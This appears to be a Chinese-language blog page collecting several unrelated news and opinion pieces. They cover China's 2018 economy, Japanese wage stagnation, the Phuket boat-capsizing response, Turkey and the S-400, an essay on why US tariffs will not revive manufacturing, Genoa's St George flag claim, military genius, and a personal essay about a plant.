作者: admin

  • 三问中国经济:走势如何、底气哪来、前景怎样

    据新华社7月6日报道,中国经济引发全球聚焦——

    正值2018年上下半场交替期,部分需求指标增速有所波动,外部环境不确定性有增无减,上半场是否稳得住?下半场能否有进步?

    不畏浮云遮望眼。观察大国经济要看全局,准确看待短期数据升降之“形”,准确把握经济长期向好之“势”,方能察形辨势,拨云见日。

    风物长宜放眼量。观察大国经济须辨大势,认清中国经济韧性强、潜力大、后劲足的基本面,方能明晰方向,坚定信心。

    新华社记者秦迎编制

    走势如何看——转型升级态势良好,发展质量稳步提升,有效应对挑战,中国经济运行依然稳中有进

    一列“复兴号”动车组列车行驶在京沪高铁南京市境内(4月9日摄)。新华社发(苏阳摄)

    这是正在作业的广西钦州港(1月10日无人机拍摄)。新华社记者陆波岸摄

  • 日媒:G7中仅日本工资水平低于2000年水平

    据《日本经济新闻》7月9日报道,在全球工资上涨的大环境下,日本似乎正在掉队。“虽然大企业的加薪率连续4年超过2%,但在七大工业国(G7)中,只有日本的工资水平仍低于2000年时的水平,很多日本人缺乏工资上涨的实际感受。”

    在日媒看来,如此下去,日本摆脱通货紧缩的脚步也将放缓;日本丞待形成不受年功序列(论资排辈)和终身雇用等惯例束缚的工资体系。

    2017年初,在调查了27万正社员的工资后(所谓正社员是指有五险一金,享受公司各种福利的正式员工),日本著名职介网站“DODA代理服务”发布数据称,排除经商者的日本上班族,包括奖金在内的税前年收入为442万日元(约合人民币26.5万元),扣除10%至20%的保险及税收后,上班族的收入在日本高物价的环境下难言充裕。

    此外,从年度变化来看,自2008年起,日本人的平均工资收入一直持小幅度下降趋势。

    G7中仅日本工资水平低于2000年水平

    机器人接待客人,还负责货物搬运和清扫——日本旅游公司HIS运营的“奇怪酒店”仅由相当于同等规模酒店4分之1的7个人来运营。该公司会长兼社长泽田秀雄表示,酒店通过提升从世界范围内来看较低的生产效率,使得实现类似设施2倍以上的利润率成为可能。

    在劳动力持续短缺的背景下,日本通过省人化投资来提升生产效率的举措相继涌现。按照经济学的理论,只要每名员工的生产效率提高,企业的盈利能力就将提高,而作为代价的工资也将提高。然而,在日本,这种生产效率和工资提高的关系正在出现异常。

    据日本银央行统计,最近5年里,日本劳动生产率提高了9%,不过,剔除物价波动影响后的实际工资涨幅仅为2%

    环顾世界,日本的工资水平已落于人后。

    据经济合作与发展组织(OECD)统计,从剔除物价影响后的实际工资(按各国货币计算)来看,在日、美、德等七大工业国中,只有日本处于比2000年还低的水平。在过去20年里,在保持通货紧缩的背景下,很多日本企业认为,“如果人工费提高,国际竞争力将下滑”,因此一直不愿提高工资。

    但是,劳动力短缺和经济的数字化趋势改变了局面。经营餐饮连锁店的日本RoyalHoldings的会长菊地唯夫直言,“能否通过工资让员工分享生产效率提高的成果,将决定企业能否赢得竞争”。制造业已经发展到了一个新的阶段,即不再比拼低价制造高品质产品的成本竞争力,而是比拼新的商业模式。工资也不再被看作成本,而是对创新的投资。

    眼下,争夺人才的竞争在全球扩大。据美国的人力资源咨询公司Mercer调查,日本企业的薪资报酬方面,部长和董事级别高管的报酬呈现出被亚洲各国超越的趋势。对于年轻员工,其他亚洲企业也开始支付比日本更高的工资。

    中国华为2017年在日本以40万日元(约合人民币2.4万元)的起薪招募应届毕业生。这相当于索尼等日本大型电子企业的近2倍。不过华为的日本法人表示,这一薪资水平在全球范围来看并不稀奇,这是获得优秀人才的国际标准。

    日本企业需要转变思路。随着劳动方式的改革,虽然减少过度加班的企业出现增加,不过加班时间减少的话,加班费也将随之减少。即使在短时间内高效完成工作,以时间计费的工资体系无法将劳动成果返还给劳动者。

    对于拥有高度技能的人才,有必要制定根据劳动成果支付高工资的机制。如果优秀的人才得不到高薪的回报,在争夺人才的竞争中,日本企业将落后于海外企业。日本富士通综研的执行理事早川英男表示,“日本的劳资双方重视的是维持雇用,而不是工作的技能;有必要改变这种机制”。

    企业需提升赚钱能力

    日本政府必须通过放宽限制等举措来推动企业改革。不按工作时间而按工作成果来支付工资的“脱时间给制度”方面,虽然相关法案的审议被推后,不过预计将于年内在日本例行国会上讨论。

    要想实现可持续的加薪,通过新的服务来创造利润也十分重要。利用软件机器人来制作资料、使用人工智能(AI)来接待顾客以及制造一线的无人化等等。仅仅减少工作量销售额不会增长,也无法乘上将提高的生产率返还给员工这一良性循环的势头。

    日本大型快递企业雅玛多控股(Yamato)正致力于开发面向主妇和老年人的代购物服务。该公司力争通过提价和减少对外部的配送委托来改善收益,不过仅仅这样无法实现增长。因此希望播下新业务的种子,将来回报给员工。

    预计日本上市企业2017财年(截至2018年3月)将连续2年刷新历史最高利润。已开始出现的加薪势头还会持续下去吗?在加薪3%成为主要议题的2018年劳资谈判中,企业与工会将多大程度改变思路呢?这将左右着日本的竞争力。

  • 游船倾覆事故家属联络中心和接待中心在普吉设立

    据新华社7月9日报道,中国驻泰国大使馆8日通报,经中国驻泰使领馆和中国政府联合工作组与泰方协调,泰方已在普吉设立3个家属联络中心以及接待中心,做好普吉游船倾覆事故中国游客亲属来泰接待工作和协助家属处理善后事宜等。

    中国驻泰国宋卡总领事周海成当天率工作组赴普吉哇集拉医院,看望游船倾覆事故遇难者家属。

    据中国驻泰国使馆通报,3个家属联络中心分别是普吉机场国际到达联络中心(热线电话0066-76351005、0066-76352363)和普吉机场国内到达联络中心、哇集拉医院联络中心(热线电话0066-76361234)。家属抵达普吉后,可到联络中心登记,泰方将安排食宿和交通,并提供懂中文的志愿者随行服务。

    此外,家属接待中心设在普吉府府署一层办公大厅(24小时中文热线电话0066-76685394、0066-76685395)。家属接待中心将为家属提供咨询服务并协助家属处理善后事宜等。

    当天下午,中国驻宋卡总领事周海成在普吉哇集拉医院对遇难同胞家属表示亲切慰问。他说,驻泰使领馆连日来敦促泰方出动陆海空部队、水警以及民间力量,持续开展联合搜救行动,全力调查事实真相,并争分夺秒做好救治伤员工作。

    他说,中国驻宋卡总领馆开通了24小时服务绿色通道,组织了志愿者队伍,投入救援与协助工作。总领馆将坚决完成维护中国公民合法权益任务,全心全意为遇难者家属做好服务。

    周海成听取了家属们的意见,并就遗体认领、事故原因、后续赔偿等家属关心的问题,进行了细致解释。

    (记者明大军 杨舟)

  • 土耳其:如果因为S400遭到美国制裁 将报复美国

    据台媒7月9日报道,土耳其外交部长恰武什奥卢日前对土耳其购买S-400一事表示,美国如果因为俄罗斯把S-400卖给土耳其,就要求其他国家也加入制裁俄国的行列,这种立场无法被接受。如果美国因为土耳其购买S-400,就对土耳其实施制裁的话,那么土耳其也会采取报复手段。

    据今日俄罗斯报道,土耳其外交部长日前再次重申,如果美国对于向俄国购买S-400防空系统一事实施制裁的话,土耳其势必会展开反击动作。他希望美国方面能有足够的智慧,不要主动破坏与北约盟友的关系。

    今年,恰武什奥卢已多次表示要对美国制裁展开报复行动,他认为如果美国想通过制裁惩罚土耳其的话,那么土耳其的反应将不同于俄罗斯或其他国家。土耳其会明确让美国知道,不应该威胁我们,因为我们是北约盟友。

    据俄罗斯卫星网报道,土耳其外长认为美国和俄罗斯之间关系有问题。他举例说,如果我和某人关系不好,我就打电话告诉大家“不要和他当朋友”,这样合理吗?因此,土耳其无法接受这样的做法。

    恰武什奥卢解释说,如果土耳其购买S-400,美国制裁土耳其,这种类似的态度,土耳其无法接受。如果美国持续维持这种立场的话,两国关系不会转好。而且,美国如果实施制裁,也将有所回应。

  • 为什么关税无法让制造业回归美国

    2025年4月2日,美国总统宣布对进口商品征收新的大规模关税,税率从10%到49%不等。其公开目标是“让制造业重回美国”,以及“让美国再次富裕”。

    但这些关税政策注定失败。事实上,它们可能适得其反——既无法让制造业回流,还会让美国变得更穷。

    本文列举了14条原因解释为何如此,同时探讨了美国若真心希望重振制造业应如何行动,并预测这一错误政策的最终结局。

    我的背景:我在制造业深耕15年,曾在美国和中国开设工厂,并在中国工厂工作过。我通晓中文,并从美国、中国、越南、印尼、台湾和柬埔寨采购过价值数百万美元的商品,同时也考察过墨西哥的工厂。我对国家兴衰的规律颇有研究。

    换言之,与许多空谈此话题的人不同,我深知自己在说什么。正因如此,我必须写下这篇文章。作为第一代美国移民,我深爱这个国家,但目睹它正以高速冲向经济的“南墙”,我深感痛心。写这篇文章就是试图踩下刹车。

    14条原因:为何关税无法带回制造业

    1、税率还不够高

    关税是对进口商品的征税。例如,苹果从中国进口一部iPhone,需向美国政府申报其海外生产成本(假设为100美元)。若征收54%关税,苹果需向中国厂商支付100美元,同时向美国政府缴纳54美元。

    原本100美元的iPhone,现在成本变为154美元。按行业惯例,苹果会以双倍价格(308美元)卖给零售商,零售商再以双倍(616美元)卖给消费者。但是iPhone所有生产所需零部件的工厂几乎都在亚洲,即使有关税,在中国组装iPhone也比在美国便宜。

    从亚洲附近的工厂获取这些零部件,比从美国获取更便宜、更快捷,美国已经没有这些工厂了,最终还是得从亚洲购买这些零部件。如果你无法在合理的价格和时间内获取生产成品所需的零部件,无论关税是多少,你都只能进口产品,因为你无法在本地生产。

    简言之:即使加征54%关税,在美国生产iPhone的成本仍高于中国。因为美国的制造业成本本就高昂,且供应链薄弱(下文详述)。最终,苹果和消费者仍会选择中国制造。

    2、美国工业供应链薄弱

    供应链指企业获取生产所需组件的能力。以iPhone为例,其玻璃屏幕、金属外壳和电子元件几乎全部依赖亚洲工厂。即使加征关税,从亚洲就近采购组件仍比在美国重建供应链更便宜快捷。简言之——美国虽有强大的消费级供应链(如亚马逊、家得宝),但工业级供应链(、电子元件)严重缺失。若供应链无法支撑,再高的关税也无济于事。

    3、我们已失去制造能力

    人们常常轻视制造业的复杂性和难度,而实际上这非常困难,例如苹果能设计iPhone,却未必能生产所有组件。

    例如,半导体依赖台湾,不仅因成本,更因其技术无可替代。即使投入巨资,美国短期内也无法复制这种能力。我的公司生产塑料益智玩具“雪花片”(Brain Flakes,一种类似乐高的拼插型积木,但形状为圆片),但若模具损坏,我们不得不从中国订购新模具,因为美国几乎没有模具制造商了。

    那些懂得制造和修理模具的人,要么已经去世,要么早已退休。简言之——美国本土的模具制造商几乎消失殆尽。没有技术积累,无论多少关税都解决不了问题。

    4、美国劳动力的真实成本更高

    中国制造业的竞争力不单源于低工资,更来自工人的高效与纪律性。中国工人极少因个人问题影响生产例如在中国,不存在因为太胖而无法工作的人。工人不会在工作中途突然离开,再也不回来。也不会有人坚持要拿现金工资,以便能继续领取残疾补贴,却在工厂里做着健全工人都做不到的灵活动作。

    中国工人互相攻击或攻击管理人员的可能性要小得多。他们不会因为吸毒狂欢而消失不见,也不会因为昨天的工资换成了毒品,就在工作中途趴在箱子上睡着,且具备基础数学和基础英语能力。

    总而言之这是一种以努力工作和教育为导向的文化,而美国已经没有这种文化了相比之下,美国劳动力存在效率低下、技能缺失等问题。即使工资差距缩小,文化差异和劳动力素质仍使美国难以竞争。世界上还有许多国家的工资比中国更低,是职业道德、专业技能、敬业精神,再加上一流的基础设施,才使中国成为当今世界最强大的制造业国家,这并非是简单加一加关税就能短期能与之抗衡的国家

    5、基础设施不足

    自2000年以来,美国人均发电量停滞不前,而中国增长了400%。为什么呢?因为制造业。要运行生产我们日常使用产品的机器,需要大量的电力。美国已经存在电力不稳定的问题。

    如果不建设大量新的能源基础设施,比如核电站,我们就无法切实提高制造业产量。但制造业的发展会给我们的道路带来巨大压力,造成更多危险的交通状况。当我们从国外进口制成品时,一辆卡车就能把货物从港口或机场运送到配送中心、商店,以及我们生活和工作的地方。但当你开始发展制造业时,每一个零部件都需要在工厂之间运输,这会使道路上的卡车数量增加好几倍。

    简言之——这是一项艰巨的任务,而那些说 “好吧,我们就在美国生产” 的人,并没有意识到这一点。若大规模重启制造,美国的电网、公路和港口将承受巨大压力。当前基础设施根本无法支撑这一转型。

    6、“美国制造”需要时间

    在美国,即使在最顺利的情况下(如果你能拿到许可证),建造一家工厂至少也需要两年时间。这我是有切身体会的。工厂建成后,还需要6个月到一年的时间才能实现高效生产。产品从组装线上生产出来也需要几个月的时间。而这还没有考虑为新工厂提供服务所需建设的所有基础设施(新道路、新发电厂等等)。

    等 “美国制造” 真正开始的时候,我们可能又要选举新总统了。而关税政策的变化速度远快于工厂建设周期。例如,我们2024年11月大选前订购的货物因突然加征20%关税,到货时成本激增1万美元。政策的不确定性将企业发展冻结——我的德州工厂降价40%仍无人问津。

    7、政策混乱与不确定性

    关税政策频繁变动(如对墨西哥关税一月内两度取消又恢复),且规则复杂且条款模糊。企业无法预测成本,被迫暂停业务。作为从业者,我不得不将大量时间耗费在研究政策变动上,而非经营公司,例如,如果你想从中国进口商品,除了原本的进口关税,还需要加上20% 的 “芬太尼关税”、34% 的 “对等关税”,如果认定中国购买了委内瑞拉的石油,还需要额外加上25% 的 “委内瑞拉石油关税”。

    问题在于,白宫并没有提供进口委内瑞拉石油的国家名单,所以你不知道是否需要加上这25% 的关税,而且由于政策表述不明确,你也不知道这些关税什么时候会生效。因此,你既无法确定也无法准确计算成本。无法计算成本这对于企业来说是十分令人担忧的。

    8、美国人并不想从事制造业

    多数美国人追求的是低犯罪率、优质教育和医保,而非在寒冷工厂中组装零件。我曾尝试在中国工厂工作,仅4小时便因体力不支放弃,当时正值寒冬,工厂里冷得要命,我不得不蹲在一个小凳子上,弓着身子,用手指组装小零件,速度只有旁边女工的四分之一。制造业的艰苦远超想象,而美国社会已习惯办公室工作与虚拟经济,可比制造实实在在的产品容易多了。

    9、劳动力数量与技能双重短缺

    中国有超10亿制造业人口,而美国只有1200万人在找工作(失业率4%)。更关键的是,美国缺乏熟练工人和管理人才(金融、房地产等高薪行业吸走了人才),暂且不说美国劳动力相对较低的效率,先说低端制造业连中国都在淘汰,美国却试图用关税挽回这类岗位,实属荒谬。

    10、自动化救不了美国

    中国每年安装的工业机器人是美国的7倍,且成本更低。当前多数制造业工序无法自动化(如精细组装),而可自动化的部分(如传送带)早已被中国优化,例如第一辆商用电动汽车是在美国设计和制造的,但如今中国在全球电动汽车制造业中占据主导地位,工业机器人恐将重蹈覆辙。

    11、诉讼风险扼杀制造业

    美国法律环境高度诉讼化。企业若因员工纠纷或监管问题陷入官司,将严重拖累生产。过度的监管和低效的法院系统会扼杀那些有勇气在美国从事制造业的人。相比之下,海外工厂无需面对此类风险。

    12、关税执行不公

    美国进口商若虚报商品价值将面临牢狱之灾,而外国公司(如中国企业)它们的一批货物会因欺诈被美国政府扣押,但它们不会被额外罚款,因为它们在中国,不受美国法律体系的约束,几乎不受惩罚。简言之:关税过高反而惩罚了本国企业。

    13、关税结构错误

    2018年对华关税未让制造业回流,反而催生了越南的崛起。此次政策重复同样错误——对成品和组件征收同等关税,导致美国制造商因进口零部件成本激增而破产。更糟糕的是,我们不仅未对助力产业转型的关键品实施更高保护反而放任危害品(如令人疲惫肥胖的加工食品或致死芬太尼前体)长驱直入。尽管政府宣称要通过关税阻止芬太尼进口,但2毫克芬太尼即可致命(一粒大米重65毫克),如何拦截这种微观物质?或许我们该效仿其他国家,从需求端而非供给端入手——比如先端掉我家附近那个让孩童不敢出门的吸毒窝点。

    14、美国正在“跨界失败”

    迈克尔·乔丹被誉为篮球史上最伟大运动员,甚至可能是体坛第一人。但他年轻时改打棒球后,从MVP沦落为小联盟平庸球员,两年后便重返篮球场。同理,美国若放弃全球化优势,强攻制造业,只会重蹈覆辙。

    关税政策的结局预测

    这可能是史上最糟糕的经济政策。若持续推行,美国将陷入衰退,制造业不会回流,反而加速向越南、墨西哥转移。中国已为贸易战准备8年,其对美出口依赖度大幅降低,电动汽车等产业正征服全球市场。全球化不会终结,但美国可能被排除在外。

    我们为何仍需制造业

    1、国家安全:若关键物资(如半导体、药品)依赖外国,将受制于人。

    2、促进创新:本土制造便于技术迭代(如无人机、军事装备)。

    3、发挥多元才能:

    缺乏蓬勃的制造业,空间型人才将无法施展——这正是大量男性沉溺游戏毒品、脱离社会的根源:他们不适合办公室,却能在制造业发光发热。

    如何真正重振制造业

    1、修复社会基础:改善教育(确保数学能力)、降低医疗成本、打击犯罪与毒品。
    2、差异化关税:对成品征收高税,豁免关键零部件;允许出口退税。
    3、政策稳定性:以法律形式逐步提高关税(如每年递增25%),而非总统行政令。
    4、引进技术人才:向外国专家发放“制造技术签证”,学习先进经验。

    结语

    我深爱这个国家,但若继续推行此政策,美国恐将走向崩溃。我们急需纠错——在为时未晚之前。

  • 英格兰进四强满街飘扬圣乔治旗,有人追讨千年“版权费”了

    【文/观察者网 陆雨聆】上周六,英格兰踢着“快乐足球”2:0战胜瑞典,时隔28年再次跻身世界杯四强。英国国内俨然成了“圣乔治十字旗”的海洋。

    然而,作为圣乔治旗的发源地,意大利热那亚人却对此情此景看不下去了。该市市长半认真地说,他要给英国女王写信,索要拖欠了快300年的“版权费”。

    八强战后,英国街头兴奋的球迷  图源:《伦敦标准晚报》

    据英国《独立报》7月7日报道,热那亚市市长马尔科·布齐(Marco Bucci)再次强调,白底红十字的圣乔治旗为热那亚“版权所有”。他已经指示城建档案员,算一算英格兰方面应该补交多少钱。保守估计,这笔金额将高达数百万美元。

    原来,早在12世纪,热那亚还是个强大的“海上共和国”时,就已经把圣乔治为守护圣人,并以白底红十字的符号作为国旗了。十字军东征时期,从热那亚出港的十字军船只,都必须依规定悬挂热那亚国旗。后来,狮心王理查才把这面旗帜带回了英格兰。

    1190年起,为了让船只得以挂上圣乔治旗吓退海盗,英格兰开始每年给热那亚总督交“版权费”。

    13世纪末,英格兰正式把圣乔治旗定为自己的国旗,并在几百年后陆续和苏格兰的“圣安德鲁十字”及爱尔兰的“圣博德十字”合并,成为今天大家熟知的“米字旗”。

    “我认为英格兰人直到1746年之前都在好好交钱”,布齐道,同年热那亚被奥地利占领,共和国一蹶不振,他们就再也没收到过一分钱。

    布齐表示,他正在考虑给英国女王伊丽莎白二世写封口吻轻松的“讨债信”。“女王陛下:很遗憾地告诉您,从我这边的账簿上看,你们好像不止250年没付钱哎。”

    在游行庆典中举着圣乔治旗的热那亚民众  图源:《太阳报》

    不过,布齐随即申明自己只是“一半玩笑、一半认真”,自己不会问英格兰要现金。但热那亚现在有4座旧宫殿。如果英格兰能资助修复其中一座,或者向慈善机构捐款,听上去都很不错。“对我们的城市来说,这将是一次很好的营销活动。

    《卫报》也调侃道,布齐想得很美,但此事早就淹没在历史的洪流中,没有任何法律依据。光意大利国内,跟热那亚抢着用圣乔治旗的城市就数不胜数,包括博洛尼亚、帕多瓦、雷焦埃米利亚、曼图亚、维塞利、亚历山德里亚和米兰等等。

    热那亚圣乔治宫外的圣乔治旗  图源:《太阳报》

    圣乔治的影响则更加深远,除了热那亚和英格兰外,他还是葡萄牙、马耳他、格鲁吉亚和埃塞俄比亚等国家的守护圣人。据传,圣乔治于公元3世纪晚期生于巴勒斯坦(一说位于今土耳其的卡帕多细亚),经常以屠龙英雄的形象出现在西方文学、雕塑、绘画等领域。虽然他是英格兰文化的重要部分,但在历史中,他似乎从未去过英格兰。

    本文系观察者网独家稿件,未经授权,不得转载。

  • 天才如何产生效力

    撰文 | 安德鲁・罗伯茨

    翻译 | 陆大鹏

    上个月的专栏,我写的是人类历史早期的军事领导力,试图解答1981年我参加剑桥大学入学考试的作文题:“一个人如何领导一百人?”本月我打算把故事讲到当今时代。我相信,火药时代(大致从16世纪末到美国南北战争结束)是军事史上的一个单独时期,在这期间战争和战场经历了两次重大变革。当然了,火药是好几个世纪之前在中国发明的,但直到西欧大陆的争霸战争中运用火枪和大炮,火药的力量才真正在全球层面体现出来。

    火药在大战略层面引发的第一场大变革是急剧降低了城堡和设防城市的重要性。正如17世纪40年代英国内战期间奥利弗・克伦威尔清楚地证明的,此时的军队有能力用火药和炮弹来轰击和摧毁城墙,于是巩固的要塞城市很快丧失了在军事行动中的核心地位。

    天才如何产生效力

    在此之前的城市是货真价实的“要塞”,而此后,占据城市的军事意义下降,同时占领军还要养活大量城市人口,所以有时占据城市不是优势,反而是噩梦。战争艺术曾局限于一系列围城和守城战,而如今转移到了开阔的战场。这种局面一直持续到1914年第一次世界大战的最初几场战役,那时堑壕和机枪又再度消解了军队的机动性。

    第二项变革是在战术方面,当然在战场上表现得最淋漓尽致。在过去,地形的重要性仅仅体现在指挥官不希望自己的士兵爬坡仰攻、被太阳耀花眼,而在火药时代,火枪和大炮能够在相当远的距离用致命火力横扫战场,所以地形地貌突然间变得非常重要,能够保护士兵避开敌人强大的火力。在这个时期,懂得利用地形来获取战术乃至战略优势的指挥官(最经典的楷模是马尔伯勒公爵、拿破仑・波拿巴和威灵顿公爵)往往能够战胜技艺欠佳的对手,打赢战斗,甚至赢得整个战役。

    所以,中国发明的火药,和历史上的其他伟大发明(如印刷术和互联网)一样,给世界带来了翻天覆地的变化。火药的主要成分硝石是一种化合物(硝酸钾),其生产手段令人作呕。成堆的人粪和/或鸟兽粪、草木灰、烂稻草和大量人兽尿液(越酸臭越好)被放在一起,咕噜咕噜地冒泡一年左右。由此产生的氨气会引发化学反应,生成硝酸钾这种非常高效的氧化剂,赋予其爆炸性。

    最好的硝石产于中国和印度,这解释了为什么拿破仑战争时代英国的火药质量比法国高得多。(硝石据说也有医用功效,老兵有时会往汤里撒一点火药,据说能治高血压。例如,拿破仑的高级军医,令人敬慕的拉雷男爵,在1809年阿斯佩恩―艾斯林战役之后用骑兵胸甲当锅,烧汤给伤员喝,汤里就放了火药。)

    军事历史学家和军事理论家J.F.C.富勒少将读了另一位军事历史学家巴塞尔・利德尔・哈特上尉1926年的西庇阿・阿非利加努斯传记(书名非常有挑衅性,叫做《比拿破仑更伟大》)之后,在给利德尔・哈特的信中写道:“伟大没有一个普遍适用的标准。”“说荷马比莎士比亚更伟大,或者莎士比亚胜过歌德,是荒谬的。他们当中每个人都可能是他所在时代的伟人。你可以说西庇阿比汉尼拔伟大,这是有道理的。但你不能说西庇阿比亚历山大大帝或者拿破仑或弗里德里希大王伟大。”

    这话当然正确,但我们还是能对同时代的军事家作比较,比如把纳撒尼尔・格林和乔治・华盛顿比较,或者把奈伊元帅和路易―尼古拉・达武比较。最伟大的军事家需要展现出成功的军事领导力的终极品质,也就是伟大的普鲁士军事理论家卡尔・冯・克劳塞维茨在他的开创性名著《战争论》中反复提到的那种品质:天才。

    我们考虑一下这个问题:伟大军事家是生来伟大,还是靠自己努力变得伟大,还是天赐其伟大?答案似乎既是三者皆有,也是一个都不成立。火药时代结束之前的时期,压迫性更强的社会制度决定了军事指挥权往往掌握在帝王或贵族手里,但死亡和对死亡的恐惧始终是民主的,能确保有才干的军人在战争时期比和平时期攀升更快,正如革命时期会涌现太平岁月罕见的天才领袖。是金子总会发光,即便在最墨守成规的社会里:罗伯特・克莱武(绰号“印度的克莱武”)曾是个债台高筑的文员,拿破仑曾是来自科西嘉的外来者,等等。

    打得是否高明和是不是在正义一方作战也没有必然联系。如果说有许多军事家站在野蛮和奴役一面,而不是为文明和自由效力,那是因为最终目标的正义性与军事天才没有关系。约翰・斯图尔特・密尔在他的名著《论自由》中写道:“有人说真理拥有一种谬误所没有的内在力量,或者真理必然战胜奴役和压迫。这只不过是一种无聊的感情用事罢了。”同样,24磅大炮或者马提尼-亨利步枪也和正义与否无关。

    伟大的法国作家安德烈・马尔罗曾说,战争的目的是尽力确保金属碎片刺穿人肉。这是对伟大军事家的领导艺术的一个严苛但基本上公正的概括,至少在战前机动完成之后是这样。在一些比较罕见的时候,单是战前机动就足以赢得胜利,比如1805年10月拿破仑几乎一弹未发就占领了奥地利城市乌尔姆。

    天才如何产生效力

    20世纪显然是人类历史上最残暴的一个世纪,原因之一是,据估计20世纪死于暴力的人数远远超过之前所有世纪的总和。从1931年日本入侵中国到1945年8月广岛和长崎遭到原子弹轰炸,共有超过1500万中国人死亡。这一点是很多西方人从来没有学到过,或者早已忘记的。

    伟大的普鲁士陆军总参谋长赫尔穆特・冯・毛奇(“老毛奇”)在19世纪末的军事行动很奇怪地预示了20世纪的战争,因为威廉二世皇帝在1914年第一次世界大战开始阶段希望重演毛奇在1870―1871年普法战争中的伟大胜利。1861―1865年美国内战后期的武器――堑壕、铁路、带刺铁丝网,尤其是机枪――都将在第一次世界大战中达到巅峰,人类天生的发明精神被用于自我毁灭。(据说毛奇一辈子只笑过两次。第一次是有人告诉他,比利时的伟大要塞列日固若金汤,德军不可能攻破它;第二次是有人告诉他,他的岳母出乎意料地去世了。)

    军事天才的一个有趣的地方是,不同时代、不同地理区域都产生了军事天才。尽管过去大约五百年里全世界主要的战场是欧洲,很多军事天才出自欧洲以外。如恰卡・祖鲁、山下奉文和武元甲这样的军事家表明,军事才华并没有种族或地理边界。

    20世纪上半叶的最伟大军事家当中,自然有很多人参加了给20世纪造成莫大创伤的两次灾难性全球冲突。海因茨・古德里安、埃里希・冯・曼
    施泰因、埃尔温・隆美尔、格尔德・冯・伦德施泰特、哈索・冯・曼陀菲尔等德军将领的水准让我们觉得,盟军是多么幸运!因为虽然德国国防军将领的水平一般来讲比盟军将领要高,但阿道夫・希特勒本人在战略上是个笨蛋,尽管他自诩为“史上最伟大的军事家”。

    乔治・C.马歇尔、艾伦・布鲁克爵士/将军(后来的艾伦布鲁克勋爵),甚至“三巨头”(温斯顿・丘吉尔、约瑟夫・斯大林和罗斯福总统)总的来讲不是战场指挥官(与战场指挥官相对的,是远离前线、甚至身在不同国家的参谋长们),但有理由称这几位为伟大军事家,因为他们在德黑兰和雅尔塔筹划了第二次世界大战的胜利大战略。这几位一般不被算作军事领袖,但他们对打赢战争的整体影响力远远超过在阿拉曼作战的伯纳德・蒙哥马利、在斯大林格勒的格奥尔基・朱可夫和库尔斯克战役的科涅夫元帅。

    那么,令史上最伟大军事家们脱颖而出的,究竟是哪些品质?其中一位,斐迪南・福煦元帅于1919年的著作《准则与判断》中写道:“有权指挥从来不意味着有权保持神秘。”伟大军事家的品质不是秘密,而是公开表现出来的,并且在许多个世纪里变化甚微,所以能在本文中对其加以分析。尽管发生了技术变革、火药时代来了又去、机枪出现、制空权变得重要,优秀军事家的品质却令人惊诧地始终如一。海因茨・古德里安会认可以色列领袖约书亚的勇猛大胆;德怀特・艾森豪威尔会仰慕米底人居鲁士令人生畏的强大力量;罗伯特・E.李会赞赏威灵顿公爵的注重细节,或者亚历山大大帝的卓越战术能力。

    R.F.C.富勒的笔友(有时是他的拥护者)巴塞尔・利德尔・哈特在他的1944年著作《对战争的思考》中写道:“思想的积极主动和强有力的个性,或者说坚定的决心,这两种品质对战争指挥的力量特别重要。它们实际上是伟大军事家的标志。”

    思想的积极主动和强有力的个性固然重要,但同样重要的是:瞬间把握局势的能力、激励和鼓舞陌生人的能力、对时机的敏锐掌握、观察力、制造出其不意的能力、搞好公共关系的本领、将战略与战术紧密结合的天赋、推测对手意图的能力、维持主动权的能力,以及如巴顿将军于1944年10月所写,“鼓励自认为已经失败的人,让他相信自己并未失败”的能力。

    天才如何产生效力

    许多最成功的领袖的另一个共同点是,他们对历史兴趣盎然。他们往往阅读过大量历史和传记,经常汲取历史的教训,有的退休之后还亲自撰写史书。拿破仑皇帝在大西洋中央的弹丸之地圣赫勒拿岛流亡时,撰写了一部高水平的尤利乌斯・恺撒传记。恺撒和亚历山大大帝一样,都是拿破仑多年的偶像。今年早些时候,我带领一大群中国游客参观了巴黎、土伦和滑铁卢的拿破仑名胜(我很享受这段经历,很乐意再次体验),他们渴望了解历史上最伟大的领袖之一如何激励他的民族。

    我们从一个名胜走到另一个,我能够沿途指出拿破仑的天才如何产生效力,尤其是下列品质的重要性:一丝不苟的计划、研究地形地貌、绝佳的时机把握、沉着冷静、注重纪律和训练、理解普通士兵的心理以创建团队精神、发表激励人心的演讲和宣言、控制新闻传播、学习和改进其他人的现代战术思想、对恰当的人提出恰当的问题、深度学习和研究历史、若有必要就冷酷无情、运用个人的魅力、在无法想象的重压之下仍然保持冷静(尤其是似乎即将战败的时候)、好运气、几乎到了强迫症程度的关注细节、严格管理自己的情绪,最重要的是在战场的关键点运用临时的兵力优势。有了上述这些品质,拿破仑能够领导不仅是一百人,而是数百万人。

    我希望,三十六年前我若是写出这篇文章,能够通过剑桥大学的入学考试!

  • 那喋喋不休的我

    那喋喋不休的我

    中国红穗花

    我的茉莉花,被蜗牛吃掉了。园艺师傅说,天黑的时候,黏瘩瘩的牛儿们都会出来,你就拿个手电筒照他,一个一个抓起来。

    “烤来吃?”我问。哎,“移民”屏东若问我想念什么――我想念烤得香喷喷、热滋滋的法国蜗牛啦。

    他做出恶心的表情。

    师傅送给我一株开着细碎红花的小树,也顺手帮我种下了。等他走了,我就端了张椅子,坐在小树前,趁着夕阳温慢的光,仔仔细细地端详。

    花形可真别致,一朵花像是美劳课用皱纹纸剪出来的细丝彩带扎成一束,有如红色的穗条。马上查阅,神奇,这花的英文俗名竟然就叫“中国红穗花”。风一吹,细细的花穗就像彩带飞舞,也难怪叫红彩木

    红彩木,也叫红木,是金缕梅科――慢点,枸杞也叫枸,难道他们是亲戚吗?可是枸杞是茄科,不是金缕梅科啊。

    我一手拿着手机读数据,一手摸叶子和茎,一一比对。

    小枝条有锈褐色星状毛。对。

    叶互生,叶片卵形,基部钝形,全缘或细锯齿缘,对。

    花,三至八朵簇生小侧枝端,对。

    苞片条形,长约0.3公分,对……

    你听不懂

    认识一株植物,我像关西摸骨师一样一节一节摸下去。然后开始走神,突然想起什么就对着红彩木笑出声来。你若是在一旁帮我浇水,这时就会说,“傻瓜啊,什么事那么好笑?”

    我可能不会理睬你,因为,没什么学问的你,我想的,你反正听不懂,说起来好麻烦。

    为什么做子女的永远都认定那身为父母的绝对听不懂,因此就懒得跟他们说心里在想的事情?做父母的又是否早就知道,当初做牛做马让儿女受高等教育,最后会换得他们倒过来俯视你说,“哎呀你听不懂”?

    此刻,我在阳台这一头与红穗花相对而坐,噗哧一笑,你坐在阳台那一头,柔弱地垂着头,锁在自己的沉默里。

